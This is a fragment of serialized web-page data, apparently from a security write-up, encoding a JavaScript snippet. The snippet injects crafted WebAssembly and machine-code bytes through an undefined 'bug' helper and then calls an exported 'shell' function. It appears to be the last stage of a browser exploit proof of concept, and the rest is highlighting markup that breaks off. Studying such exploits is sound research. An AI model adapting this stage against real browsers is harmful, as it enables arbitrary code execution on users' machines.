",{"type":24,"tag":154,"props":135406,"children":135408},{"className":135407},[],[135409],{"type":29,"value":134208},{"type":29,"value":225},{"type":24,"tag":147,"props":135412,"children":135414},{"code":135413,"language":36879,"meta":7,"className":36877,"style":7},"(async () => {\n const wasm_code = new Uint8Array([\n 0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n 0, 0, 10, 4, 1, 2, 0, 11,\n ]);\n const buffer = new Uint8Array([\n 147, 6, 222, 192, 20, 119, 44, 43, 127, 62, 3, 0, 159, 206, 136, 43, 0, 0, 3, 0, 0, 0, 0, 0, 64,\n 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 28, 0, 0, 0, 16, 0, 0, 0, 28, 0, 0, 0, 28, 0,\n 0, 0, 28, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 204, 72, 137, 229, 106, 8, 86, 72, 139, 229, 93,\n 195, 144, 15, 31, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 93, 198, 0,\n ]);\n let r = bug(wasm_code, buffer.buffer);\n result = (await r.next()).value;\n const wasm_instance = new WebAssembly.Instance(result);\n const f = wasm_instance.exports.shell;\n f();\n})();\n",[135415],{"type":24,"tag":154,"props":135416,"children":135417},{"__ignoreMap":7},[135418,135441,135468,135688,135755,135763,135790,136004,136256,136507,136733,136977,137197,137204,137253,137298,137342,137381,137393],{"type":24,"tag":158,"props":135419,"children":135420},{"class":160,"line":161},[135421,135425,135429,135433,135437],{"type":24,"tag":158,"props":135422,"children":135423},{"style":188},[135424],{"type":29,"value":504},{"type":24,"tag":158,"props":135426,"children":135427},{"style":165},[135428],{"type":29,"value":37409},{"type":24,"tag":158,"props":135430,"children":135431},{"style":188},[135432],{"type":29,"value":40961},{"type":24,"tag":158,"props":135434,"children":135435},{"style":165},[135436],{"type":29,"value":16056},{"type":24,"tag":158,"props":135438,"children":135439},{"style":188},[135440],{"type":29,"value":210},{"type":24,"tag":158,"props":135442,"children":135443},{"class":160,"line":213},[135444,135448,135452,135456,135460,135464],{"type":24,"tag":158,"props":135445,"children":135446},{"style":165},[135447],{"type":29,"value":37452},{"type":24,"tag":158,"props":135449,"children":135450},{"style":177},[135451],{"type":29,"value":134732},{"type":24,"tag":158,"props":135453,"children":135454},{"style":222},[135455],{"type":29,"value":462},{"type":24,"tag":158,"props":135457,"children":135458},{"style":165},[135459],{"type":29,"value":33194},{"type":24,"tag":158,"props":135461,"children":135462},{"style":496},[135463],{"type":29,"value":134745},{"type":24,"tag":158,"props":135465,"children":135466},{"style":188},[135467],{"type":29,"value":134750},{"type":24,"tag":158,"props":135469,"children":135470},{"class":160,"line":238},[135471,135476,135480,135484,135488,135492,135496,135500,135504,135508,135512,135516,135520,135524,135528,135532,135536,135540,135544,135548,135552,135556,135560,135564,135568,135572,135576,135580,135584,135588,135592,135596,135600,135604,135608,135612,135616,135620,135624,135628,135632,135636,135640,135644,135648,135652,135656,135660,135664,135668,135672,135676,135680,135684],{"type":24,"tag":158,"props":135472,"children":135473},{"style":465},[135474],{"type":29,"value":135475}," 0",{"type":24,"tag":158,"props":135477,"children":135478},{"style":188},[135479],{"type":29,"value":191},{"type":24,"tag":158,"props":135481,"children":135482},{"style":465},[135483],{"type":29,"value":134767},{"type":24,"tag":158,"props":135485,"children":135486},{"style":188},[135487],{"type":29,"value":191},{"type":24,"tag":158,"props":135489,"children":135490},{"style":465},[135491],{"type":29,"value":134776},{"type":24,"tag":158,"props":135493,"children":135494},{"style":188},[135495],{"type":29,"value":191},{"type":24,"tag":158,"props":135497,"children":135498},{"style":465},[135499],{"type":29,"value":134785},{"type":24,"tag":158,"props":135501,"children":135502},{"style":188},[135503],{"type":29,"value":191},{"type":24,"tag":158,"props":135505,"children":135506},{"style":465},[135507],{"type":29,"value":5672},{"type":24,"tag":158,"props":135509,"children":135510},{"style":188},[135511],{"type":29,"value":191},{"type":24,"tag":158,"props":135513,"children":135514},{"style":465},[135515],{"type":29,"value":5682},{"type":24,"tag":158,"props":135517,"children":135518},{"style":188},[135519],{"type":29,"value":191},{"type":24,"tag":158,"props":135521,"children":135522},{"style":465},[135523],{"type":29,"value":5682},{"type":24,"tag":158,"props":135525,"children":135526},{"style":188},[135527],{"type":29,"value":191},{"type":24,"tag":158,"props":135529,"children":135530},{"style":465},[135531],{"type":29,"value":5682},{"type":24,"tag":158,"props":135533,"children":135534},{"style":188},[135535],{"type":29,"value":191},{"type":24,"tag":158,"props":135537,"children":135538},{"style":465},[135539],{"type":29,"value":5672},{"type":24,"tag":158,"props":135541,"children":135542},{"style":188},[135543],{"type":29,"value":191},{"type":24,"tag":158,"props":135545,"children":135546},{"style":465},[135547],{"type":29,"value":18767},{"type":24,"tag":158,"props":135549,"children":135550},{"style":188},[135551],{"type":29,"value":191},{"type":24,"tag":158,"props":135553,"children":135554},{"style":465},[135555],{"type":29,"value":5672},{"type":24,"tag":158,"props":135557,"children":135558},{"style":188},[135559],{"type":29,"value":191},{"type":24,"tag":158,"props":135561,"children":135562},{"style":465},[135563],{"type":29,"value":134850},{"type":24,"tag":158,"props":135565,"children":135566},{"style":188},[135567],{"type":29,"value":191},{"type":24,"tag":158,"props":135569,"children":135570},{"style":465},[135571],{"type":29,"value":5682},{"type":24,"tag":158,"props":135573,"children":135574},{"style":188},[135575],{"type":29,"value":191},{"type":24,"tag":158,"props":135577,"children":135578},{"style":465},[135579],{"type":29,"value":5682},{"type":24,"tag":158,"props":135581,"children":135582},{"style":188},[135583],{"type":29,"value":191},{"type":24,"tag":158,"props":135585,"children":135586},{"style":465},[135587],{"type":29,"value":18534},{"type":24,"tag":158,"props":135589,"children":135590},{"style":188},[135591],{"type":29,"value":191},{"type":24,"tag":158,"props":135593,"children":135594},{"style":465},[135595],{"type":29,"value":4789},{"type":24,"tag":158,"props":135597,"children":135598},{"style":188},[135599],{"type":29,"value":191},{"type":24,"tag":158,"props":135601,"children":135602},{"style":465},[135603],{"type":29,"value":5672},{"type":24,"tag":158,"props":135605,"children":135606},{"style":188},[135607],{"type":29,"value":191},{"type":24,"tag":158,"props":135609,"children":135610},{"style":465},[135611],{"type":29,"value":5682},{"type":24,"tag":158,"props":135613,"children":135614},{"style":188},[135615],{"type":29,"value":191},{"type":24,"tag":158,"props":135617,"children":135618},{"style":465},[135619],{"type":29,"value":55943},{"type":24,"tag":158,"props":135621,"children":135622},{"style":188},[135623],{"type":29,"value":191},{"type":24,"tag":158,"props":135625,"children":135626},{"style":465},[135627],{"type":29,"value":57158},{"type":24,"tag":158,"props":135629,"children":135630},{"style":188},[135631],{"type":29,"value":191},{"type":24,"tag":158,"props":135633,"children":135634},{"style":465},[135635],{"type":29,"value":5672},{"type":24,"tag":158,"props":135637,"children":135638},{"style":188},[135639],{"type":29,"value":191},{"type":24,"tag":158,"props":135641,"children":135642},{"style":465},[135643],{"type":29,"value":19348},{"type":24,"tag":158,"props":135645,"children":135646},{"style":188},[135647],{"type":29,"value":191},{"type":24,"tag":158,"props":135649,"children":135650},{"style":465},[135651],{"type":29,"value":134776},{"type":24,"tag":158,"props":135653,"children":135654},{"style":188},[135655],{"type":29,"value":191},{"type":24,"tag":158,"props":135657,"children":135658},{"style":465},[135659],{"type":29,"value":134947},{"type":24,"tag":158,"props":135661,"children":135662},{"style":188},[135663],{"type":29,"value":191},{"type":24,"tag":158,"props":135665,"children":135666},{"style":465},[135667],{"type":29,"value":134956},{"type":24,"tag":158,"props":135669,"children":135670},{"style":188},[135671],{"type":29,"value":191},{"type":24,"tag":158,"props":135673,"children":135674},{"style":465},[135675],{"type":29,"value":134965},{"type":24,"tag":158,"props":135677,"children":135678},{"style":188},[135679],{"type":29,"value":191},{"type":24,"tag":158,"props":135681,"children":135682},{"style":465},[135683],{"type":29,"value":134965},{"type":24,"tag":158,"props":135685,"children":135686},{"style":188},[135687],{"type":29,"value":235},{"type":24,"tag":158,"props":135689,"children":135690},{"class":160,"line":259},[135691,135695,135699,135703,135707,135711,135715,135719,135723,135727,135731,135735,135739,135743,135747,135751],{"type":24,"tag":158,"props":135692,"children":135693},{"style":465},[135694],{"type":29,"value":135475},{"type":24,"tag":158,"props":135696,"children":135697},{"style":188},[135698],{"type":29,"value":191},{"type":24,"tag":158,"props":135700,"children":135701},{"style":465},[135702],{"type":29,"value":5682},{"type":24,"tag":158,"props":135704,"children":135705},{"style":188},[135706],{"type":29,"value":191},{"type":24,"tag":158,"props":135708,"children":135709},{"style":465},[135710],{"type":29,"value":90531},{"type":24,"tag":158,"props":135712,"children":135713},{"style":188},[135714],{"type":29,"value":191},{"type":24,"tag":158,"props":135716,"children":135717},{"style":465},[135718],{"type":29,"value":18767},{"type":24,"tag":158,"props":135720,"children":135721},{"style":188},[135722],{"type":29,"value":191},{"type":24,"tag":158,"props":135724,"children":135725},{"style":465},[135726],{"type":29,"value":5672},{"type":24,"tag":158,"props":135728,"children":135729},{"style":188},[135730],{"type":29,"value":191},{"type":24,"tag":158,"props":135732,"children":135733},{"style":465},[135734],{"type":29,"value":4789},{"type":24,"tag":158,"props":135736,"children":135737},{"style":188},[135738],{"type":29,"value":191},{"type":24,"tag":158,"props":135740,"children":135741},{"style":465},[135742],{"type":29,"value":5682},{"type":24,"tag":158,"props":135744,"children":135745},{"style":188},[135746],{"type":29,"value":191},{"type":24,"tag":158,"props":135748,"children":135749},{"style":465},[135750],{"type":29,"value":135041},{"type":24,"tag":158,"props":135752,"children":135753},{"style":188},[135754],{"type":29,"value":235},{"type":24,"tag":158,"props":135756,"children":135757},{"class":160,"line":280},[135758],{"type":24,"tag":158,"props":135759,"children":135760},{"style":188},[135761],{"type":29,"value":135762}," ]);\n",{"type":24,"tag":158,"props":135764,"children":135765},{"class":160,"line":301},[135766,135770,135774,135778,135782,135786],{"type":24,"tag":158,"props":135767,"children":135768},{"style":165},[135769],{"type":29,"value":37452},{"type":24,"tag":158,"props":135771,"children":135772},{"style":177},[135773],{"type":29,"value":126545},{"type":24,"tag":158,"props":135775,"children":135776},{"style":222},[135777],{"type":29,"value":462},{"type":24,"tag":158,"props":135779,"children":135780},{"style":165},[135781],{"type":29,"value":33194},{"type":24,"tag":158,"props":135783,"children":135784},{"style":496},[135785],{"type":29,"value":134745},{"type":24,"tag":158,"props":135787,"children":135788},{"style":188},[135789],{"type":29,"value":134750},{"type":24,"tag":158,"props":135791,"children":135792},{"class":160,"line":626},[135793,135798,135802,135806,135810,135815,135819,135824,135828,135833,135837,135842,135846,135851,135855,135860,135864,135869,135873,135878,135882,135886,135890,135894,135898,135903,135907,135912,135916,135920,135924,135928,135932,135936,135940,135944,135948,135952,135956,135960,135964,135968,135972,135976,135980,135984,135988,135992,135996,136000],{"type":24,"tag":158,"props":135794,"children":135795},{"style":465},[135796],{"type":29,"value":135797}," 147",{"type":24,"tag":158,"props":135799,"children":135800},{"style":188},[135801],{"type":29,"value":191},{"type":24,"tag":158,"props":135803,"children":135804},{"style":465},[135805],{"type":29,"value":19660},{"type":24,"tag":158,"props":135807,"children":135808},{"style":188},[135809],{"type":29,"value":191},{"type":24,"tag":158,"props":135811,"children":135812},{"style":465},[135813],{"type":29,"value":135814},"222",{"type":24,"tag":158,"props":135816,"children":135817},{"style":188},[135818],{"type":29,"value":191},{"type":24,"tag":158,"props":135820,"children":135821},{"style":465},[135822],{"type":29,"value":135823},"192",{"type":24,"tag":158,"props":135825,"children":135826},{"style":188},[135827],{"type":29,"value":191},{"type":24,"tag":158,"props":135829,"children":135830},{"style":465},[135831],{"type":29,"value":135832},"20",{"type":24,"tag":158,"props":135834,"children":135835},{"style":188},[135836],{"type":29,"value":191},{"type":24,"tag":158,"props":135838,"children":135839},{"style":465},[135840],{"type":29,"value":135841},"119",{"type":24,"tag":158,"props":135843,"children":135844},{"style":188},[135845],{"type":29,"value":191},{"type":24,"tag":158,"props":135847,"children":135848},{"style":465},[135849],{"type":29,"value":135850},"44",{"type":24,"tag":158,"props":135852,"children":135853},{"style":188},[135854],{"type":29,"value":191},{"type":24,"tag":158,"props":135856,"children":135857},{"style":465},[135858],{"type":29,"value":135859},"43",{"type":24,"tag":158,"props":135861,"children":135862},{"style":188},[135863],{"type":29,"value":191},{"type":24,"tag":158,"props":135865,"children":135866},{"style":465},[135867],{"type":29,"value":135868},"127",{"type":24,"tag":158,"props":135870,"children":135871},{"style":188},[135872],{"type":29,"value":191},{"type":24,"tag":158,"props":135874,"children":135875},{"style":465},[135876],{"type":29,"value":135877},"62",{"type":24,"tag":158,"props":135879,"children":135880},{"style":188},[135881],{"type":29,"value":191},{"type":24,"tag":158,"props":135883,"children":135884},{"style":465},[135885],{"type":29,"value":18534},{"type":24,"tag":158,"props":135887,"children":135888},{"style":188},[135889],{"type":29,"value":191},{"type":24,"tag":158,"props":135891,"children":135892},{"style":465},[135893],{"type":29,"value":5682},{"type":24,"tag":158,"props":135895,"children":135896},{"style":188},[135897],{"type":29,"value":191},{"type":24,"tag":158,"props":135899,"children":135900},{"style":465},[135901],{"type":29,"value":135902},"159",{"type":24,"tag":158,"props":135904,"children":135905},{"style":188},[135906],{"type":29,"value":191},{"type":24,"tag":158,"props":135908,"children":135909},{"style":465},[135910],{"type":29,"value":135911},"206",{"type":24,"tag":158,"props":135913,"children":135914},{"style":188},[135915],{"type":29,"value":191},{"type":24,"tag":158,"props":135917,"children":135918},{"style":465},[135919],{"type":29,"value":45419},{"type":24,"tag":158,"props":135921,"children":135922},{"style":188},[135923],{"type":29,"value":191},{"type":24,"tag":158,"props":135925,"children":135926},{"style":465},[135927],{"type":29,"value":135859},{"type":24,"tag":158,"props":135929,"children":135930},{"style":188},[135931],{"type":29,"value":191},{"type":24,"tag":158,"props":135933,"children":135934},{"style":465},[135935],{"type":29,"value":5682},{"type":24,"tag":158,"props":135937,"children":135938},{"style":188},[135939],{"type":29,"value":191},{"type":24,"tag":158,"props":135941,"children":135942},{"style":465},[135943],{"type":29,"value":5682},{"type":24,"tag":158,"props":135945,"children":135946},{"style":188},[135947],{"type":29,"value":191},{"type":24,"tag":158,"props":135949,"children":135950},{"style":465},[135951],{"type":29,"value":18534},{"type":24,"tag":158,"props":135953,"children":135954},{"style":188},[135955],{"type":29,"value":191},{"type":24,"tag":158,"props":135957,"children":135958},{"style":465},[135959],{"type":29,"value":5682},{"type":24,"tag":158,"props":135961,"children":135962},{"style":188},[135963],{"type":29,"value":191},{"type":24,"tag":158,"props":135965,"children":135966},{"style":465},[135967],{"type":29,"value":5682},{"type":24,"tag":158,"props":135969,"children":135970},{"style":188},[135971],{"type":29,"value":191},{"type":24,"tag":158,"props":135973,"children":135974},{"style":465},[135975],{"type":29,"value":5682},{"type":24,"tag":158,"props":135977,"children":135978},{"style":188},[135979],{"type":29,"value":191},{"type":24,"tag":158,"props":135981,"children":135982},{"style":465},[135983],{"type":29,"value":5682},{"type":24,"tag":158,"props":135985,"children":135986},{"style":188},[135987],{"type":29,"value":191},{"type":24,"tag":158,"props":135989,"children":135990},{"style":465},[135991],{"type":29,"value":5682},{"type":24,"tag":158,"props":135993,"children":135994},{"style":188},[135995],{"type":29,"value":191},{"type":24,"tag":158,"props":135997,"children":135998},{"style":465},[135999],{"type":29,"value":30682},{"type":24,"tag":158,"props":136001,"children":136002},{"style":188},[136003],{"type":29,"value":235},{"type":24,"tag":158,"props":136005,"children":136006},{"class":160,"line":668},[136007,136011,136015,136019,136023,136027,136031,136035,136039,136043,136047,136051,136055,136059,136063,136067,136071,136075,136079,136083,136087,136091,136095,136099,136103,136107,136111,136115,136119,136123,136127,136131,136135,136139,136143,136148,136152,136156,136160,136164,136168,136172,136176,136180,136184,136188,136192,136196,136200,136204,136208,136212,136216,136220,136224,136228,136232,136236,136240,136244,136248,136252],{"type":24,"tag":158,"props":136008,"children":136009},{"style":465},[136010],{"type":29,"value":135475},{"type":24,"tag":158,"props":136012,"children":136013},{"style":188},[136014],{"type":29,"value":191},{"type":24,"tag":158,"props":136016,"children":136017},{"style":465},[136018],{"type":29,"value":5682},{"type":24,"tag":158,"props":136020,"children":136021},{"style":188},[136022],{"type":29,"value":191},{"type":24,"tag":158,"props":136024,"children":136025},{"style":465},[136026],{"type":29,"value":5682},{"type":24,"tag":158,"props":136028,"children":136029},{"style":188},[136030],{"type":29,"value":191},{"type":24,"tag":158,"props":136032,"children":136033},{"style":465},[136034],{"type":29,"value":5682},{"type":24,"tag":158,"props":136036,"children":136037},{"style":188},[136038],{"type":29,"value":191},{"type":24,"tag":158,"props":136040,"children":136041},{"style":465},[136042],{"type":29,"value":5682},{"type":24,"tag":158,"props":136044,"children":136045},{"style":188},[136046],{"type":29,"value":191},{"type":24,"tag":158,"props":136048,"children":136049},{"style":465},[136050],{"type":29,"value":5682},{"type":24,"tag":158,"props":136052,"children":136053},{"style":188},[136054],{"type":29,"value":191},{"type":24,"tag":158,"props":136056,"children":136057},{"style":465},[136058],{"type":29,"value":5682},{"type":24,"tag":158,"props":136060,"children":136061},{"style":188},[136062],{"type":29,"value":191},{"type":24,"tag":158,"props":136064,"children":136065},{"style":465},[136066],{"type":29,"value":5672},{"type":24,"tag":158,"props":136068,"children":136069},{"style":188},[136070],{"type":29,"value":191},{"type":24,"tag":158,"props":136072,"children":136073},{"style":465},[136074],{"type":29,"value":5682},{"type":24,"tag":158,"props":136076,"children":136077},{"style":188},[136078],{"type":29,"value":191},{"type":24,"tag":158,"props":136080,"children":136081},{"style":465},[136082],{"type":29,"value":5682},{"type":24,"tag":158,"props":136084,"children":136085},{"style":188},[136086],{"type":29,"value":191},{"type":24,"tag":158,"props":136088,"children":136089},{"style":465},[136090],{"type":29,"value":5682},{"type":24,"tag":158,"props":136092,"children":136093},{"style":188},[136094],{"type":29,"value":191},{"type":24,"tag":158,"props":136096,"children":136097},{"style":465},[136098],{"type":29,"value":5682},{"type":24,"tag":158,"props":136100,"children":136101},{"style":188},[136102],{"type":29,"value":191},{"type":24,"tag":158,"props":136104,"children":136105},{"style":465},[136106],{"type":29,"value":5682},{"type":24,"tag":158,"props":136108,"children":136109},{"style":188},[136110],{"type":29,"value":191},{"type":24,"tag":158,"props":136112,"children":136113},{"style":465},[136114],{"type":29,"value":5682},{"type":24,"tag":158,"props":136116,"children":136117},{"style":188},[136118],{"type":29,"value":191},{"type":24,"tag":158,"props":136120,"children":136121},{"style":465},[136122],{"type":29,"value":5682},{"type":24,"tag":158,"props":136124,"children":136125},{"style":188},[136126],{"type":29,"value":191},{"type":24,"tag":158,"props":136128,"children":136129},{"style":465},[136130],{"type":29,"value":5682},{"type":24,"tag":158,"props":136132,"children":136133},{"style":188},[136134],{"type":29,"value":191},{"type":24,"tag":158,"props":136136,"children":136137},{"style":465},[136138],{"type":29,"value":18767},{"type":24,"tag":158,"props":136140,"children":136141},{"style":188},[136142],{"type":29,"value":191},{"type":24,"tag":158,"props":136144,"children":136145},{"style":465},[136146],{"type":29,"value":136147},"28",{"type":24,"tag":158,"props":136149,"children":136150},{"style":188},[136151],{"type":29,"value":191},{"type":24,"tag":158,"props":136153,"children":136154},{"style":465},[136155],{"type":29,"value":5682},{"type":24,"tag":158,"props":136157,"children":136158},{"style":188},[136159],{"type":29,"value":191},{"type":24,"tag":158,"props":136161,"children":136162},{"style":465},[136163],{"type":29,"value":5682},{"type":24,"tag":158,"props":136165,"children":136166},{"style":188},[136167],{"type":29,"value":191},{"type":24,"tag":158,"props":136169,"children":136170},{"style":465},[136171],{"type":29,"value":5682},{"type":24,"tag":158,"props":136173,"children":136174},{"style":188},[136175],{"type":29,"value":191},{"type":24,"tag":158,"props":136177,"children":136178},{"style":465},[136179],{"type":29,"value":42112},{"type":24,"tag":158,"props":136181,"children":136182},{"style":188},[136183],{"type":29,"value":191},{"type":24,"tag":158,"props":136185,"children":136186},{"style":465},[136187],{"type":29,"value":5682},{"type":24,"tag":158,"props":136189,"children":136190},{"style":188},[136191],{"type":29,"value":191},{"type":24,"tag":158,"props":136193,"children":136194},{"style":465},[136195],{"type":29,"value":5682},{"type":24,"tag":158,"props":136197,"children":136198},{"style":188},[136199],{"type":29,"value":191},{"type":24,"tag":158,"props":136201,"children":136202},{"style":465},[136203],{"type":29,"value":5682},{"type":24,"tag":158,"props":136205,"children":136206},{"style":188},[136207],{"type":29,"value":191},{"type":24,"tag":158,"props":136209,"children":136210},{"style":465},[136211],{"type":29,"value":136147},{"type":24,"tag":158,"props":136213,"children":136214},{"style":188},[136215],{"type":29,"value":191},{"type":24,"tag":158,"props":136217,"children":136218},{"style":465},[136219],{"type":29,"value":5682},{"type":24,"tag":158,"props":136221,"children":136222},{"style":188},[136223],{"type":29,"value":191},{"type":24,"tag":158,"props":136225,"children":136226},{"style":465},[136227],{"type":29,"value":5682},{"type":24,"tag":158,"props":136229,"children":136230},{"style":188},[136231],{"type":29,"value":191},{"type":24,"tag":158,"props":136233,"children":136234},{"style":465},[136235],{"type":29,"value":5682},{"type":24,"tag":158,"props":136237,"children":136238},{"style":188},[136239],{"type":29,"value":191},{"type":24,"tag":158,"props":136241,"children":136242},{"style":465},[136243],{"type":29,"value":136147},{"type":24,"tag":158,"props":136245,"children":136246},{"style":188},[136247],{"type":29,"value":191},{"type":24,"tag":158,"props":136249,"children":136250},{"style":465},[136251],{"type":29,"value":5682},{"type":24,"tag":158,"props":136253,"children":136254},{"style":188},[136255],{"type":29,"value":235},{"type":24,"tag":158,"props":136257,"children":136258},{"class":160,"line":676},[136259,136263,136267,136271,136275,136279,136283,136287,136291,136295,136299,136303,136307,136311,136315,136319,136323,136327,136331,136335,136339,136343,136347,136351,136355,136359,136363,136367,136371,136375,136379,136383,136387,136391,136395,136399,136403,136407,136411,136415,136419,136423,136427,136431,136435,136439,136443,136447,136451,136455,136459,136463,136467,136471,136475,136479,136483,136487,136491,136495,136499,136503],{"type":24,"tag":158,"props":136260,"children":136261},{"style":465},[136262],{"type":29,"value":135475},{"type":24,"tag":158,"props":136264,"children":136265},{"style":188},[136266],{"type":29,"value":191},{"type":24,"tag":158,"props":136268,"children":136269},{"style":465},[136270],{"type":29,"value":5682},{"type":24,"tag":158,"props":136272,"children":136273},{"style":188},[136274],{"type":29,"value":191},{"type":24,"tag":158,"props":136276,"children":136277},{"style":465},[136278],{"type":29,"value":136147},{"type":24,"tag":158,"props":136280,"children":136281},{"style":188},[136282],{"type":29,"value":191},{"type":24,"tag":158,"props":136284,"children":136285},{"style":465},[136286],{"type":29,"value":5682},{"type":24,"tag":158,"props":136288,"children":136289},{"style":188},[136290],{"type":29,"value":191},{"type":24,"tag":158,"props":136292,"children":136293},{"style":465},[136294],{"type":29,"value":5682},{"type":24,"tag":158,"props":136296,"children":136297},{"style":188},[136298],{"type":29,"value":191},{"type":24,"tag":158,"props":136300,"children":136301},{"style":465},[136302],{"type":29,"value":5682},{"type":24,"tag":158,"props":136304,"children":136305},{"style":188},[136306],{"type":29,"value":191},{"type":24,"tag":158,"props":136308,"children":136309},{"style":465},[136310],{"type":29,"value":18767},{"type":24,"tag":158,"props":136312,"children":136313},{"style":188},[136314],{"type":29,"value":191},{"type":24,"tag":158,"props":136316,"children":136317},{"style":465},[136318],{"type":29,"value":5682},{"type":24,"tag":158,"props":136320,"children":136321},{"style":188},[136322],{"type":29,"value":191},{"type":24,"tag":158,"props":136324,"children":136325},{"style":465},[136326],{"type":29,"value":5682},{"type":24,"tag":158,"props":136328,"children":136329},{"style":188},[136330],{"type":29,"value":191},{"type":24,"tag":158,"props":136332,"children":136333},{"style":465},[136334],{"type":29,"value":5682},{"type":24,"tag":158,"props":136336,"children":136337},{"style":188},[136338],{"type":29,"value":191},{"type":24,"tag":158,"props":136340,"children":136341},{"style":465},[136342],{"type":29,"value":5682},{"type":24,"tag":158,"props":136344,"children":136345},{"style":188},[136346],{"type":29,"value":191},{"type":24,"tag":158,"props":136348,"children":136349},{"style":465},[136350],{"type":29,"value":5682},{"type":24,"tag":158,"props":136352,"children":136353},{"style":188},[136354],{"type":29,"value":191},{"type":24,"tag":158,"props":136356,"children":136357},{"style":465},[136358],{"type":29,"value":5682},{"type":24,"tag":158,"props":136360,"children":136361},{"style":188},[136362],{"type":29,"value":191},{"type":24,"tag":158,"props":136364,"children":136365},{"style":465},[136366],{"type":29,"value":5682},{"type":24,"tag":158,"props":136368,"children":136369},{"style":188},[136370],{"type":29,"value":191},{"type":24,"tag":158,"props":136372,"children":136373},{"style":465},[136374],{"type":29,"value":5682},{"type":24,"tag":158,"props":136376,"children":136377},{"style":188},[136378],{"type":29,"value":191},{"type":24,"tag":158,"props":136380,"children":136381},{"style":465},[136382],{"type":29,"value":5682},{"type":24,"tag":158,"props":136384,"children":136385},{"style":188},[136386],{"type":29,"value":191},{"type":24,"tag":158,"props":136388,"children":136389},{"style":465},[136390],{"type":29,"value":5682},{"type":24,"tag":158,"props":136392,"children":136393},{"style":188},[136394],{"type":29,"value":191},{"type":24,"tag":158,"props":136396,"children":136397},{"style":465},[136398],{"type":29,"value":5682},{"type":24,"tag":158,"props":136400,"children":136401},{"style":188},[136402],{"type":29,"value":191},{"type":24,"tag":158,"props":136404,"children":136405},{"style":465},[136406],{"type":29,"value":30682},{"type":24,"tag":158,"props":136408,"children":136409},{"style":188},[136410],{"type":29,"value":191},{"type":24,"tag":158,"props":136412,"children":136413},{"style":465},[136414],{"type":29,"value":5682},{"type":24,"tag":158,"props":136416,"children":136417},{"style":188},[136418],{"type":29,"value":191},{"type":24,"tag":158,"props":136420,"children":136421},{"style":465},[136422],{"type":29,"value":5682},{"type":24,"tag":158,"props":136424,"children":136425},{"style":188},[136426],{"type":29,"value":191},{"type":24,"tag":158,"props":136428,"children":136429},{"style":465},[136430],{"type":29,"value":5682},{"type":24,"tag":158,"props":136432,"children":136433},{"style":188},[136434],{"type":29,"value":191},{"type":24,"tag":158,"props":136436,"children":136437},{"style":465},[136438],{"type":29,"value":5682},{"type":24,"tag":158,"props":136440,"children":136441},{"style":188},[136442],{"type":29,"value":191},{"type":24,"tag":158,"props":136444,"children":136445},{"style":465},[136446],{"type":29,"value":5682},{"type":24,"tag":158,"props":136448,"children":136449},{"style":188},[136450],{"type":29,"value":191},{"type":24,"tag":158,"props":136452,"children":136453},{"style":465},[136454],{"type":29,"value":5682},{"type":24,"tag":158,"props":136456,"children":136457},{"style":188},[136458],{"type":29,"value":191},{"type":24,"tag":158,"props":136460,"children":136461},{"style":465},[136462],{"type":29,"value":5682},{"type":24,"tag":158,"props":136464,"children":136465},{"style":188},[136466],{"type":29,"value":191},{"type":24,"tag":158,"props":136468,"children":136469},{"style":465},[136470],{"type":29,"value":5682},{"type":24,"tag":158,"props":136472,"children":136473},{"style":188},[136474],{"type":29,"value":191},{"type":24,"tag":158,"props":136476,"children":136477},{"style":465},[136478],{"type":29,"value":5682},{"type":24,"tag":158,"props":136480,"children":136481},{"style":188},[136482],{"type":29,"value":191},{"type":24,"tag":158,"props":136484,"children":136485},{"style":465},[136486],{"type":29,"value":5682},{"type":24,"tag":158,"props":136488,"children":136489},{"style":188},[136490],{"type":29,"value":191},{"type":24,"tag":158,"props":136492,"children":136493},{"style":465},[136494],{"type":29,"value":5682},{"type":24,"tag":158,"props":136496,"children":136497},{"style":188},[136498],{"type":29,"value":191},{"type":24,"tag":158,"props":136500,"children":136501},{"style":465},[136502],{"type":29,"value":5682},{"type":24,"tag":158,"props":136504,"children":136505},{"style":188},[136506],{"type":29,"value":235},{"type":24,"tag":158,"props":136508,"children":136509},{"class":160,"line":684},[136510,136514,136518,136522,136526,136530,136534,136538,136542,136546,136550,136554,136558,136562,136566,136570,136574,136578,136582,136586,136590,136594,136598,136602,136606,136610,136614,136618,136622,136626,136630,136634,136638,136643,136647,136651,136655,136660,136664,136669,136673,136678,136682,136686,136690,136695,136699,136703,136707,136712,136716,136720,136724,136729],{"type":24,"tag":158,"props":136511,"children":136512},{"style":465},[136513],{"type":29,"value":135475},{"type":24,"tag":158,"props":136515,"children":136516},{"style":188},[136517],{"type":29,"value":191},{"type":24,"tag":158,"props":136519,"children":136520},{"style":465},[136521],{"type":29,"value":5682},{"type":24,"tag":158,"props":136523,"children":136524},{"style":188},[136525],{"type":29,"value":191},{"type":24,"tag":158,"props":136527,"children":136528},{"style":465},[136529],{"type":29,"value":5682},{"type":24,"tag":158,"props":136531,"children":136532},{"style":188},[136533],{"type":29,"value":191},{"type":24,"tag":158,"props":136535,"children":136536},{"style":465},[136537],{"type":29,"value":5682},{"type":24,"tag":158,"props":136539,"children":136540},{"style":188},[136541],{"type":29,"value":191},{"type":24,"tag":158,"props":136543,"children":136544},{"style":465},[136545],{"type":29,"value":5682},{"type":24,"tag":158,"props":136547,"children":136548},{"style":188},[136549],{"type":29,"value":191},{"type":24,"tag":158,"props":136551,"children":136552},{"style":465},[136553],{"type":29,"value":5682},{"type":24,"tag":158,"props":136555,"children":136556},{"style":188},[136557],{"type":29,"value":191},{"type":24,"tag":158,"props":136559,"children":136560},{"style":465},[136561],{"type":29,"value":5682},{"type":24,"tag":158,"props":136563,"children":136564},{"style":188},[136565],{"type":29,"value":191},{"type":24,"tag":158,"props":136567,"children":136568},{"style":465},[136569],{"type":29,"value":5682},{"type":24,"tag":158,"props":136571,"children":136572},{"style":188},[136573],{"type":29,"value":191},{"type":24,"